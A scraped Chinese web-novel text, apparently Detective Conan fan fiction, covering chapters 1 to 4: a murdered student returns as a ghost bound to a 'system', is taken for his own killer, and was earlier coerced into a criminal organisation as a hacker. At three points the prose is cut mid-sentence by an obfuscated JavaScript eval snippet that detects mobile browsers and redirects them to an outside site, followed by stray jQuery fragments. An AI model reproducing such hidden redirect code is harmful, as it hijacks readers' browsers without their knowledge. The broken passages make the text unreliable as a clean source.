《酒厂幽灵今天也在艰难求生》
1. 第 1 章
风间羽栖听见了刀刃刺进血肉的声音,一瞬间剧痛也蔓延了全身,他无力的倒在地上,又一次感受到了死亡的威胁。
先是疼痛,再是感觉一点冷意遍布全身,最后其实什么也感受不到了,只是身体没有力气,风间羽栖蓦然生出了点恐慌。
原本以为他早该对死亡麻木,毕竟早在几个月以前,医生就用怜悯的、惋惜的语气对他说:“……还有一年时间,多出去走走吧。”
于是风间羽栖谨遵医嘱,趁着今天天气好,出了家门,在一条开着鲜花却很少有人来往的小道上——然后被一个突然冲出来的人捅了一刀。
实在是有点可笑,他原本以为,他会死于绝症,结果命运连最后的一年都不肯好好留给他。
风间羽栖要死了,但他还不想死。
他缓慢的缓慢的眨了下眼,眼前已经一片模糊,他是中日混血,高中毕业后一个人来到日本留学,家人还在等他回家,还有他的朋友、他的朋友……想不起来了。
自从得了绝症之后他的记性也变差了,有时候会平白无故的忘记一些人和一些事。
他不想死。
一想到再也见不到家人和朋友心中就冒出控制不住的酸涩来。
最重要的是,花大量时间和金钱了学了黑客技术还考了持枪证,还没在自己弟弟面前装个逼就死了。
如果有奇迹……
他一定要先把这个逼装完!
-
或许是物极必反,倒霉了那么多次,风间羽栖终于幸运了一次。
之前的电子音不是他的幻听,神通广大的系统救了他……但没完全救。
风间羽栖看着自己从小猫身体里穿过的手,惋惜的叹了口气——为摸不到小猫的自己,不过猫也没办法用爪子抓到他,省了一笔打狂犬疫苗的钱,风间羽栖苦中作乐的想道。
微微侧头就能看见自己的尸体,正面容安详的倒在花丛之中,风间羽栖第一次以这样的视角来看自己,他稍微有些新奇的观察了一下。
阳光正好洒在尸体的脸上,怪不得死之前觉得那么刺眼……得益于他继承了母亲优秀的美貌,所以哪怕脸上带着痛苦,看起来都仿佛是随时能被人唤醒的睡美人。
但是胸口的那柄尖刀无时无刻不在提醒风间羽栖——他死了。
系统告诉他:‘我屏蔽了规则,最多能维持你这个状态五年时间不消散。’
“啊,你在我脑子里说话?”风间羽栖的关注点清奇。
系统:……
似乎是感觉到系统的无语,风间羽栖耸了耸肩:“我知道了,你的意思是——”
他在心中回答:‘我变成了鬼?’
系统表示肯定:‘是的。’
而且这世间唯一的鬼,其他的人的灵魂在死后最多只能在人间停留三秒钟,这个世界的规则不允许有鬼的出现——
‘……因为这里是柯学的世界。’系统像是故弄玄虚的神棍一样感叹。
于是身为土著的风间羽栖虚心求教:“什么意思?”
原因或许太复杂,系统最终决定以一句简短的话回答风间羽栖的问题:‘如果有其他鬼,就不需要主角了。’
“所以主角是警察?”风间羽栖再次虚心求问。
‘……主角是侦探。’
风间羽栖恍然大悟:‘不好意思,我忘了这里不是种花国。’
‘等等——’风间羽栖突然抓住了重点:‘你的意思是,我成了,一部推理漫画里,唯一的,鬼?’
系统:‘对。’
‘这世界有其他非科学的力量吗?’
系统:‘当然没有,全都是柯学。’
风间羽栖沉默了一下,发觉自己成为这个世界的唯一的非自然因素后,他陷入沉思。
从系统的话来看,主角拿的剧本应该是悬疑探案——还是会死人的凶杀案,风间羽栖是种花国和日本的混血,成年前一直在种花生活,这两年才来到日本东京大学读书,于是他还保留着在种花的思维和习惯,听见有凶杀案第一反应是找警察。
但在日本的民众眼里,侦探可比日本警察要靠谱的多,前几天他曾经看到过有一个推理小说家登上了报刊,说那位小说家侦探侦破了警察都破不了的悬案。
说不定那个小说家就是主角!风间羽栖心想,等等,那个小说家叫什么名字来着?明明风间羽栖记得他的名字被印在醒目的标题上,现在却怎么也想不起来了。
“好像是什么工藤?”风间羽栖轻轻摸了摸下巴,嘀嘀咕咕的自言自语道。
又把什么事忘记了,看来哪怕是变成了鬼,绝症对记忆造成的影响也没有恢复。风间羽栖盯着他脚边的小猫,刚刚他蹲下了身子,此刻裤腿拉了一截上去,露出了常年不见光的苍白的脚踝,小猫想蹭他的脚踝,却无法碰到他不小心跌了一跤,发出了一声疑惑的喵呜声。
于是风间羽栖陷入了一点莫名的空洞当中,他叹了口气:“所以任务是什么?”
系统语气莫测的说:‘这个世界是部悬疑推理漫画,你必须参加进剧情里,与此同时,还需要获得角色的印象值,只要完成这两个任务,你就能复活。’
悬疑推理漫画啊,听着就很危险的样子。怪不得他散个步都能遇见杀人犯,如果是推理漫画的话,一切就变得合理了。
虽然事关他能不能复活,风间羽栖却有点心不在焉的想,系统的讲话和公司领导画大饼有异曲同工之妙——没有感情全是技巧,随后他回过神来:“我该怎么样走剧情?”
‘我会提示你。’系统回答道。
“提示?”风间羽栖重复了一遍这个词。
‘嗯,我会发布任务让你参与进剧情里。’系统接着说道:‘获取印象值时也会有提示。’
风间羽栖点点头:“不能提前告诉我剧情吗?”他想提前做点准备。
‘不能,’几乎是风间羽栖话音刚落,系统就斩钉截铁的拒绝了:‘你会忘记的。’
系统的反应很奇怪,为什么那么笃定他会忘记?风间羽栖垂眸思考,虽然他的确因为绝症经常失去一些记忆……但是系统应该不知道才对,那就是有什么外部原因?
‘你会忘记的。’系统没注意到这点小细节:‘这个世界不会允许这样的记忆存在。’
那你又是怎么知道的?话涌到嘴边,直觉告诉他系统不会回答这个问题,风间羽栖还是把这个问题咽了下去,于是他又问了别的问题:“我现在的状态是只能被看到,不能碰到或者被别人触碰吗?”
如果真是这样,要是有人的手要是不小心穿过他的身体,发现他鬼魂的身份怎么办?风间羽栖没兴趣给自己制造麻烦。
‘不,你可以碰到死物——也可以通过死物碰到别人。’系统的回答让风间羽栖松了一口气。
他微微抬手去触碰小道两旁盛开的鲜活的花,手指毫无意外的从上面穿过,风间羽栖没有停顿的捡起了一片地上的落叶,不能碰到花但能碰到落叶……足以证明系统所言非虚,然后他开始拿这片叶子逗猫。
“咪咪。”风间羽栖拿着叶子在猫眼前晃来晃去,在心里思考着系统刚刚说的话。
既然他能碰到死物,那死物能对他造成伤害吗?风间羽栖用指尖在锋利的落叶边缘微微用力,刺痛的感觉从指尖蔓延,却没有留下任何伤口。
风间羽栖若有所思的眨了眨眼。
如果这个世界有主角,那必然有配角,就是不知道关键角色的定义范围有多大,要是定义范围很大,那他的任务想必会简单不少,还有剧本……
或许是从小在种花家长大,听过太多逆天改命的故事的缘故,风间羽栖听到有剧本的第一反应是,剧本可以被改变吗?
……算了,想这么远干嘛。风间羽栖惆怅的摆弄着落叶,他现在可是连人都不是了。
小猫喵呜喵呜的叫着,大约是玩累了,此刻懒懒的趴在地上,无论风间羽栖怎么晃着树叶它都不肯动弹了。
系统又沉默着没有说话,风间羽栖在心底叹了口气,他要参与进剧情里,此后的生活恐怕更加要提心吊胆小心提防了,不过系统知道关键角色和剧情
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266272|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,如果能好好利用会成为他的一大助力……
突然想到什么,风间羽栖轻轻眨了眨眼,他还有一个问题需要系统解答——
“系统……你想得到什么?”
-
天上不会掉馅饼,这是在种花家长大的风间羽栖一直明白的道理,更别提他得到的是一个“起死回生”的机会。
系统给了他这样一个机会,又画了一个“完成任务就能复活”的“大饼”,资本家画大饼是为了钱,那系统是为了什么呢?
风间羽栖一个人在日本生活多年,不可能对这个突然出现在自己脑海里的系统毫无戒备。
万幸的是从刚才他在脑子里编排完系统,系统却毫无反应的情况来看,系统不能直接读取他脑子里的想法。
你能相信一个人无缘无故给了你钱,给你提供了工作机会,还不限制你的自由吗?对于曾经被人坑过的风间羽栖来说,显然不能。
系统听到这个问题后长久的沉默了一段时间,风间羽栖几乎要以为它不会回答的时候,它开口了:‘……你完成任务后,我也能获得这个世界的能量。’
风间羽栖缓缓呼出一口气,系统虽然回答的很含糊,既没有告诉他为什么要用这种方式收集能量,也没告诉他收集能量要做什么,但系统也没有因为他对这些一无所知而敷衍他。
“谢谢。”他真诚的和系统说,毕竟无论如何,系统都救了他给了他复活的机会。
系统愣了两秒:“……不用道谢,反正我们也是合作。”
风间羽栖眉眼弯弯。
系统别别扭扭的提示道:“……灵魂不能承受太多重创,如果太过虚弱,你的灵魂仍然会消散。”
风间羽栖略微遗憾,表示还以为变成鬼了就无敌了呢。
系统:……
其他的事暂且放到一边不说,现在最要紧的是……风间羽栖转头看向了被自己忽视已久的自己的尸体。
他的尸体别人也是可以看见的,要是有人发现他和尸体长的一模一样估计会引来不少麻烦。
风间羽栖嘴角抽了抽,如果没有意外,他将会成为有史以来第一个自己给自己收尸的人。
是不是该买副手套?风间羽栖思考了一下,毕竟自己现在只能碰见死物,但可以借助死物——也就是手套等工具——触碰到活物。
风间羽栖看了眼小猫,得把这个小家伙搬到安全的地方去。
不过搬尸体倒是用不着手套,毕竟他现在已经死了,按理来说他的尸体是“死物”。
风间羽栖:……
真是地狱笑话。
-
风间羽栖用外套遮掩着衬衫上的刀口,从附近的商店买来两副手套。
换上手套后,风间羽栖回去看着小猫,趁着猫不注意一把揪着喵喵叫的小猫的后脖颈,又怕把它揪痛了拿着另一只戴手套的手垫在小猫身下,他走了一段很远的距离。
小猫很乖没有挣扎,将它放下后,风间羽栖低声诱哄道:“走远点吧,你不该留在这里。”
小猫只是他,似乎听不懂他的话,风间羽栖:“笨猫。”
小猫又好像听懂了这句,嗷了一声,风间羽栖弯了弯眼。
把猫放到远离案发现场的地方,他又去附近的村庄买了把铁锹,确保小猫没有跟着他后,回到了那个小道。
尸体,鲜有人知的小道,铁锹,手套……好一幅教科书式的犯罪现场,风间羽栖一边挖洞一边和系统吐槽——要是被人看见,那他马上就得被迫上演一出“我杀我自己”的戏码。
不知挖了多久,已经足够深了,风间羽栖准备把自己的尸体搬进洞里,结果一起身就和小道尽头前来散步的工藤一家面面相觑。
与此同时,只有他能看见的字幕跳了出了:[您已遇见主角。]
[主角对您印象值+20。]
[对您的印象为:犯罪嫌疑人。]
一语成谶。
风间羽栖拿着铁锹的手微微颤抖,差点忘了,这可是推理漫画,有案子怎么可能少的了主角?
2. 第 2 章
不是所以人都“有幸”能为自己收尸,当然也不是所有人都“有幸”能成为杀死自己的犯罪嫌疑人之一。
坐在警局被警察包围的风间羽栖面无表情的想,在他身边还坐着两个犯罪嫌疑人。
而真正的凶手早就乱了阵脚,此刻胆战心惊的瞄着他的脸。毕竟在凶手看来,他和被害人长的一模一样,怎么可能不害怕?
尽管凶手那么明显,但是风间羽栖仍然是犯罪第一嫌疑人——毕竟他直接被人撞到了埋尸过程。
于是当一个被其他人称为“目暮警官”的警部拿到档案的第一刻,他成了第一位被审问的对象。
“风间羽栖,男,20岁,中日混血,两年前来到日本帝丹大学读书,几个月前办理了休学。”目暮警官把风间羽栖档案上的基本信息念了出来,由于风间羽栖成年前并不生活在日本,所以调出来的档案不算详细。
目暮警官合上资料,打量起风间羽栖来,面前的人年纪介于少年和青年的年纪之间,有些清瘦的身形让他看起来更像十几岁的少年,此刻他微微低着头,黑色的发丝柔软的垂落,微微遮住了琥珀色的瞳孔。
风间羽栖显而易见的长着一张很受人欢迎的脸,但是长的好不好看和案子无关,目暮警官开始审问:“死者身份不明,但和你长相一模一样,你和死者是什么关系?”
必须要在尸检和被查到详细资料之前解脱嫌疑……风间羽栖抬眼,没有回避目暮警官的视线,尽量做出悲伤的模样:“警官先生,我有一个弟弟。”
对不起,弟弟你就做一次背锅侠吧,风间羽栖没什么负担的在心里想,反正这小子也总在作文里写他哥死了。
……结果他现在真的死了。
目暮警官的目光又落到资料上的某一行,虽然资料很简短,但是确实有写风间羽栖有个弟弟:“所以死者是你的弟弟?”
风间羽栖没有答话,只是垂下眼,他没有直言死者就是他弟弟——主要是心虚——但这幅模样看起来就像陷入了悲恸中一样,很快让其他人误以为他和死者是兄弟关系。
悲伤的神色给他漂亮的脸上带来了一份脆弱,仿佛陷入了亲人死去的痛苦当中,看的一旁的警察都动了恻隐之心。
于是目暮警官原本严肃的神情都稍稍和缓,拍了拍他的肩以做安慰,转而去询问另外两个嫌疑人。
在目暮警官拍上自己肩膀的那一刻,想起自己现在鬼魂身份的风间羽栖身体僵硬一瞬,万幸的是由于隔着衣物目暮警官的手没有透过他的身体。
在目暮警官去旁边问其他嫌疑人的时候,风间羽栖慢慢的放松了自己刚刚绷紧的肌肉,随即他又察觉到了一道难以忽视的视线。
他顺着视线所在的方向看了过去,看见了刚刚撞破他收尸现场的一家人,他没有忘记刚刚系统提示了主角登场,也就是说主角就在这一家人当中。
他不动声色的打量一番,试图找出主角是谁,在一个男人,一个女人和一个小孩之间,他自动忽视了地上还没他膝盖高的小孩。
不知为何让风间羽栖觉得这个男人有点熟悉。
等等……他好像想起来了,是前几天报刊上的那位帮警察突破推理小说家,当时占据报纸封面大半的照片,就是这位推理小说家侦探看向犯人的严肃又锐利的目光——就像现在他看他的目光一样。
这应该就是主角了吧?风间羽栖心想。
不知是想到了什么疑点,这位敏锐的侦探突然开口问道:“风间先生……”
“啊?”风间羽栖有些茫然应了一声,心中暗暗戒备,生怕被这位侦探看出什么不对劲。
“目暮警官刚刚说你几个月前办理了休学是吗?”
“是的,”风间羽栖谨慎的回答:“因为身体原因,所以休学了一年。”这个回答由于风间羽栖苍白的脸色显得很有说服力,当然这也是实话,最多只是隐瞒了自己得了绝症。
目暮警官听到了熟悉的声音,转头终于看见了之前在角落的一家人:“哎呦!工藤老弟?你怎么也在警局?”
站在工藤一家旁边的小警察回应道:“这位工藤优作先生就是第一报案人。”
工藤优作朝目暮警官笑着点了点头:“目暮警官。”
目暮警官高兴的过来拍了拍工藤优作的肩膀:“有你在看来这次案子不用愁了。”原本他还想寒暄两句,但是有人送来了除风间羽栖之外其他两人的详细资料,于是目暮警官把这里交给了工藤优作。
工藤优作又看向风间羽栖:“那你为什么要在自己弟弟死去后不想着报警,反而是找地方埋尸?”
这个问题实在是犀利过头了,风间羽栖真的不太想回答,但为了减轻自己的嫌疑他还是开口了:“我以为他是自杀……”
这个说法实在是太荒谬了,旁边的警察掩饰不住脸上的诧异,看见一个胸口插着尖刀的人正常人的第一反应都不会是自杀吧?要不然这个人就是在撒谎,要不然就是这个人智力有问题。
风间羽栖也明白自己这句话说的实在是离谱,为了不被怀疑智商且增加说服力,他又低声补充:“他得了绝症,这次来日本就是想见我最后一面。”
风间羽栖脸上又带了点哀伤的神情,继续半真半假的说:“因为这个绝症后期实在是太痛苦了,发病的时候,他不止一次产生了想要自杀的想法,所以当时我没在家里看到他,就已经做了心理准备,找到他的尸体的第一反应就是他自杀了。”
风间羽栖垂下眼,为了取信这位敏锐的小说家先生,他大部分说的都是真话,他得的绝症很稀有,到了后期他一天有十几个小时都在经受灵魂撕扯般的痛苦,不过他从未想过自杀。
“种花国有句古话叫‘入土为安’,所以我才想把他葬在他最喜欢的花丛里。”风间羽栖张口就来,其实他就是就近原则选择了那块地方,反正他们也不知道自己是不是真喜欢那片花丛。
听到这番话,旁边的警察脸上带上一点同情和怜悯:“风间先生,请节哀。”
风间羽栖抬起眸,一边观察着工藤优作的反应一边装作痛苦的模样的试探道:“我曾经在报纸上看到过工藤先生帮警察破解了悬案,希望工藤先生能帮忙找到真凶,这样他才能安息……”
“放心好了风间先生,真凶就在那两位嫌疑人之中,”工藤优作神色自信笃定的盯着另外两位犯罪嫌疑人:“我已经知道凶手是谁了。”
风间羽栖:……?
那你刚刚问我那么多问题是在……?
或许是他和旁边警察脸上惊诧的神情太过明显,工藤优作带着一丝歉意的微笑:“抱歉,刚刚的问题,您就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266273|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当做是侦探的一点小小的好奇心吧。”
……侦探该死的好奇心,风间羽栖很想翻个白眼但场合不允许,他忍住了。
此刻目暮警官拿着新资料回来了,他错过了这中间这精彩纷呈的插曲,自然也不知道工藤优作已经推理出了凶手,正准备给工藤优作看一下新资料,就听见工藤优作已经抬手指向一个嫌疑人:“你就是凶手。”
看在他是主角的份上,风间羽栖敷衍的为他鼓励下掌。
工藤优作依靠尸体胸口的尖刀倾斜角度推理出了凶手是个左撇子,然后又从伤口的出血量判断出凶手身上一定溅上了血迹并且来不及处理。
于是当警察拉开那位凶手的外套,看见袖口大片的血迹时,凶手认罪了。
凶手跪在地上忏悔,风间羽栖被迫知道了自己被捅一刀的理由,这个理由甚至比自己刚刚编的“以为是自杀”的那番理由更离谱。
什么叫表白失败了,自尊心受损偷偷找偏僻地方丢了写给女神的情书,看见他在那散步就觉得他肯定看见了,于是恼羞成怒捅了他一刀啊?
风间羽栖:不懂但大受震撼。
别说看到犯人丢在垃圾桶的情书了,他甚至都不知道那地方有垃圾桶。
最终无论犯人怎么忏悔,他杀了人都是既定的事实,很快警察就控制住他,把他带走了。
终于洗脱了“我杀我自己”嫌疑的风间羽栖想赶紧远离这片是非之地,至于自己的尸体,他已经联系殡仪馆的一条龙服务了。
正当他处理好这些事,准备离开警局时,袖口突然被一双稚嫩的小手拉住了。
那双手离他的手腕只有一厘米的距离,害怕暴露身份,他立马把袖子扯了回来,原本就不太好的心情更差了。
“小弟弟,有什么事吗?”他假笑着冲着这位工藤优作的儿子叫工藤新一假笑。
“大哥哥,”有着一双蓝色眼睛的小孩抬头看着他,带着一点孩童的纯真和好奇心:“你刚刚一直称呼死者为‘他’,死者真的是你的弟弟吗?”
和他爹果然是一个模子里刻出来的,刚刚被工藤优作戏弄了的风间羽栖恶劣的心思涌动:“……你觉得呢?”
他弯下腰,露出似笑非笑的神情:“你有没有听过种花国的一句话?”
“好奇心害死猫……”他低声恐吓道:“不该问的别问哦~”
“小、侦、探。”
[印象值+30]
[主角对您的印象为:需要戒备的危险分子。]
蓦然听见系统提示音的风间羽栖神色微不可察的停顿了。
工藤优作和工藤有希子和目暮警官在另一边聊天,这块地方只有他和面前这个小孩……
那刚刚增加的反派值只能是工藤新一给他加的,而系统只提示过这里有主角……
[已解锁主角姓名:工藤新一]
风间羽栖看着面前小孩那惊恐的眼神,突然直起身,装作漫不经心实际上恨不得马上逃离的往门口走去,踏出门的那一刻他狠狠闭上了眼。
‘系统……’他有气无力的询问:‘被主角当成反派以后不会被抓进监狱吧?’
‘不一定。’系统安慰道:‘只要宿主不犯法就行。’
风间羽栖诡异的沉默了下。
系统:?
3. 第 3 章
推开家门的一瞬间,风间羽栖终于感觉自己活了过来。
他扯下手套丢到垃圾桶,脱掉鞋,只穿着袜子踩上地毯,用脚往后轻轻用力关上门,随后精疲力尽的倒在沙发上。
不知道为什么变成鬼后精神上的疲惫好像愈发严重了,他稍微闭着眼眯了会,随后想起什么,睁开眼摸出手机,先给妈妈报了平安,再把自己考的证发给了弟弟。
照片没发出去,果然因为骚扰了弟弟太多次,被拉黑了,风间羽栖不是很意外。
本来早该在拿到证的时候就发的,那时候他还没被弟弟拉黑,但是当时……
“滴滴——”手机跳出来一条信息。
[贝尔摩德:柏图斯,查一查星月集团最近的动向。]
……当时他被非法组织的人盯上了。
被盯上的原因其实很简单——他被人坑了。
他学黑客技术是在两年前,有一位网上赫赫有名的黑客K突然开始招收学生,风间羽栖成了他的学生之一,虽然这位老师收的学费格外高昂,但他本人的技术很强,加上风间羽栖在计算机方面有着出乎意料的天赋,短短一年时间技术就超越了大部分黑客。
学了一年后,K突然发给他一个链接,告诉他这是非法网站,让他去试试入侵这个网站。
原本风间羽栖以为这只是个电信诈/骗、网上赌/博之类的小网站,毕竟之前老师训练他的时候没少让他拿这些非法小网站练手。
结果他从这个“小网站”里找出了一些犯罪记录,还有一些看着像是代号的酒名,光是看犯罪记录他就知道不对劲了——这些犯罪记录绝对不是一个小组织犯下的。
而坑他的带了他一年老师或许是因为心虚,在拉黑他之前把他的学费都退了回来,自此销声匿迹。
原本风间羽栖是住在大学宿舍的,后来怕被这个非法组织找上门连累舍友,就搬了出来。
无论他如何躲藏,小心翼翼,还在是在某天夜晚在自己家客厅,见到了一个不速之客。
那个自称为贝尔摩德的漂亮女人仿佛把这里当做了自己的家,坐在沙发上一只手撑着头,另一只手里拿着手枪,看到他时,笑着挑了挑眉:“真可怜,小家伙,K可是已经跑到国外了哦。”
风间羽栖这才知道,这个组织早就盯上了K的技术,一年前K突然要收徒弟,也只是为了找个有天赋的倒霉蛋替他进入组织为组织效力。
而风间羽栖在看到组织的犯罪记录后也没有了第二个选择。
组织对他这样的人一向都是恩威并施的,虽然威胁他加入了组织,但很快给了他一个代号——柏图斯,让他有可以指挥组织底层人员的权利。
实际上,风间羽栖觉得成为代号成员不代表权利,而是他离唱铁窗泪更近了一步。
在组织成员一年多以后,他就被查出了绝症,再然后就是莫名被人捅了一刀,被系统绑定成了这个世界唯一的鬼魂。
回想完这几乎可以称得上天降横祸的经历,风间羽栖认命的爬起来给贝尔摩德找资料。
为什么死了还要加班,风间羽栖发出灵魂质问,手指却老老实实的敲着键盘找着资料。
据风间羽栖所知,这个集团和组织有利益牵扯,原本合作的好好的,这个集团对组织也没什么异心,但是贝尔摩德突然要这些人的资料……
风间羽栖想到了组织最近进行的“大清洗”,这个清洗当然不是指真的大扫除,而是指清洗组织里的叛徒和卧底——也就是琴酒口中经常说的老鼠。
琴酒可是清理了不少叛徒,当然,这些叛徒里肯定也有不少被误杀的,前两天去组织基地交报告时风间羽栖还能闻到从审讯室飘出来的血腥味。
不幸中的万幸是这次的“大清洗”没有连累到风间羽栖。
但是这次“清洗”过后,组织的资金和人手方面可能要出现空缺了。
或许用不到几天就能听到组织吞并哪几家财阀,还有招收新人的消息了。
但这些就和风间羽栖没有关系了,他向来不参与这些事,组织给他派的任务只要不是杀人放火他都是以最快的速度完成的,力求和组织减少关系……虽然这样做只是掩耳盗铃。
他早就深陷其中,无法抽身了。
-
第二天下午,风间羽栖是在沙发上醒来的。
昨晚迷迷糊糊的在沙发上睡着了,窗帘没有拉上,阳光透过落地窗照进来,有些刺眼。
昨晚把资料发给贝尔摩德后风间羽栖就睡着了,他有点太累了,甚至都没回到床上。
揉了揉眼睛,风间羽栖准备去浴室洗澡,然后被心口处的刀口吓了一跳。
或许是这个刀口是他的死因,于是也在灵魂上留下了痕迹,不过在灵魂上的伤口看着没有那么可怕,只是一道浅浅的泛着碎光的痕迹。
风间羽栖恍惚一瞬,才想起来自己已经死了。
“系统,这道碎光是什么?”风间羽栖问道。
系统回答:“是灵魂溢出的能量。”
风间羽栖有些好奇:“能量溢散完了会怎么样?”
“会死。”系统说:“这就是为什么你的灵魂不能长时间存在这世间的原因,而获得关键角色的印象可以借助他们身上的气运延缓灵魂逸散的速度。”
“但想要真正弥补灵魂的伤口、重新凝聚身体需要获取世界的气运,世界的气运只有走剧情才能获得。”
风间羽栖缓缓皱起了眉:“我们拿走一部分气运会给他们带来影响吗?”
系统:“摇头……正规系统,那些能量是溢出的根本没影响。”
风间羽栖舒缓了眉,点了点头,把换下来的衣服放进衣篓里,忽然他想到什么又喊到:“系统……”
他的语调突然悲痛起来:“你会偷看我洗澡吗?”
系统:?
论宿主有时候过于戏精了怎么办?
系统试图为自己辩解:“我是尊重宿主隐私的好统。”
逗完系统的风间羽栖已经哼着歌去洗澡了。
系统:。
-
擦着头发从浴室里出来,风间羽栖小心翼翼的打开了手机,发现贝尔摩德接收完文件以后没有再给他发消息,于是松了口气。
没有人想上班,更何况是在这种非法组织上班。
不过妈妈也没有给他回消息,风间羽栖有点惆怅,不过可以理解,他知道妈妈很爱他,但是总是很忙。
风间羽栖重新倒在沙发上,一只手五指张开挡住照在脸上的阳光,大约是因为风间羽栖得了绝症后没怎么运动,手上的皮肤苍白。
他抬起另一只手按上这只手的手腕,皮肤底下的脉搏不再跳动,平静的如一滩死水。
想回家,风间羽栖神色有些恹恹的。
但其实已经回不去了吧?别说他现在是鬼了,哪怕他复活之后,就以他加入过非法组织的这种身份,回国只会被拒绝入境。
“宿主……”察觉到他的情绪不高,系统有些犹疑的喊他。
察觉到它话语里的小心翼翼,风间羽栖眨了眨眼:“想安慰我啊?”
他叹息了一声,故意学着贝尔摩德的腻人语调:“哎呀,那么贴心,让我有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266274|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点喜欢你了呢。”
系统不知道是不是真信了:“……人统殊途。”
风间羽栖无辜道:“开玩笑的。”
他弯了弯眸:“只是一时间有些伤感……但是人活着就有希望,不是吗?”他在安慰系统,也在安慰自己。
“哦,虽然说我已经是鬼了,”风间羽栖缓缓呼出一口气:“但是没关系,哪怕我回不去,他们总可以来看我吧?”
“等到那天……”风间羽栖没接着说,他看向窗外。
阳光照进屋子里来,当初他选择租这间房子就是因为白天的太阳能让房间很明亮,让人看着就有一种——“啊,我还活着”的感觉。
“所以说,”风间羽栖自言自语道:“还是去吃那家我最喜欢的餐厅吧?”
系统:……话题什么时候跳到这的?
-
风间羽栖到了这家他许久没来的餐厅,自从得了绝症后他就没来过了,不过……
风间羽栖迟疑的走进大门,以前这家餐厅有那么多来拍照打卡的女高中生吗?
一踏进门,就看见有女生眼睛放光的看着他,拍着闺蜜的手臂:“又有帅哥哎?”
女生的视线没有恶意,所以风间羽栖选择淡定的走过。店内的装潢没变,还是和以前一样,风间羽栖找了个他角落的位置坐下。
今天的生意有些过于红火了,风间羽栖就先玩了会手机。过了一会,有服务员走了过来,他抬头看见了一个金色头发、紫灰色眼睛的黑皮男人。
风间羽栖:这家餐厅的服务生什么时候颜值那么高了?
看来是这几个月招的,怪不得今天来了那么多女高中生,估计都是冲着服务员的颜值来的。
[您已遇见关键角色。]
风间羽栖接过菜单的手一顿,差点碰到了金发服务员的指尖。
他心有余悸的把菜单拿过来,今天只是出门吃饭,料想不会接触到什么人,风间羽栖就没有戴手套。
关键角色?风间羽栖又看了一眼男人,被敏锐的金发男人发现,或许是习惯了,他朝着风间羽栖露出一个营业的微笑。
[印象+1]
[关键角色对您的印象为:好看的客人。]
既然是关键角色,看样子又不是反派,如果是主角团的人……‘他也是个侦探吗?’风间羽栖问系统道。
‘请宿主自行探寻。’系统回答:‘我只能提示你关键人物在场和剧情的开始节点。’
‘是有什么限制吗?’风间羽栖一边在心里问,一边在菜单上勾了几道菜,经过这两天的相处,他并不认为系统会隐瞒自己。
‘容易被规则发现。’系统言简意赅的说:‘只提示关键角色的印象值和剧情节点可以减少风险。’
风间羽栖眨了眨眼,点完了菜,把菜单交给了面前的金发男人:“谢谢。”
安室透注意到他换了只手,一开始是离得近,风间羽栖是用左手接的,现在递菜单时又是用右手递的。
安室透的目光在他递着菜单的苍白手指上略过,随即收回视线,动作没有停顿的收起菜单,微笑着拿着菜单离开。
[印象值+5]
[关键角色对您的印象为:手上有枪茧的可疑客人。]
……果然是侦探吧?风间羽栖打开手机,假装不经意间把相册里拍的持枪证的照片找了出来,放在桌上。
系统:‘……这是在干嘛?’
风间羽栖义正言辞:‘证明我的清白,虽然我是非法组织的一员,但是我是有合法证件的!’
系统欲言又止。
4. 第 4 章
最终风间羽栖还是把手机收回来了,他只是偶尔犯病而已,但不是真的要发疯——主要是不敢——万一把手机放在桌子上,有组织的人给他发消息被别人看到就不好了。
旁边有个短发女生看了他好几眼,随后她旁边染着红发的朋友嫌弃她太磨磨唧唧,直接站起身,走向风间羽栖。
“你好。”红头发女生晃了晃手机,大大方方的问道:“可以帮我朋友加一下你的联系方式吗?我朋友很喜欢你。”
她的态度大方自然,目的也很明确,是很能让人在第一眼见到就心生好感的。如果是一般人很可能会同意她的请求,毕竟加个联系方式不是什么难事,但是风间羽栖并不打算同意。
他现在的身份太过危险,不说“人鬼殊途”,哪怕是他身为非法组织的成员来说,他都不能和普通人有太多的牵连。
所以当初他为了不让组织找上他的大学舍友,搬离了宿舍还删了他们的联系方式。
……不过无缘无故的断绝联系还休了学,恐怕到时候会被舍友打死。
这些念头在他脑袋里一闪而过,正打算礼貌婉拒,一旁忽然多出了一个人。
“客人,您的点单。”安室透微笑。
风间羽栖:!
这人怎么脚步没声的?
替朋友要联系的红发女生也吓了一跳,后退了一步,不知道怎么的,神色有点尴尬:“哈哈,安室先生,是你啊……”
[已解锁关键人物部分名字:安室?]
系统的这种提示让风间羽栖想起了玩过的游戏……说来这么也挺像,游戏有系统,他也有;游戏有提示,他也有;游戏里主角有好几条命,而他死了还能以灵魂方式存在。
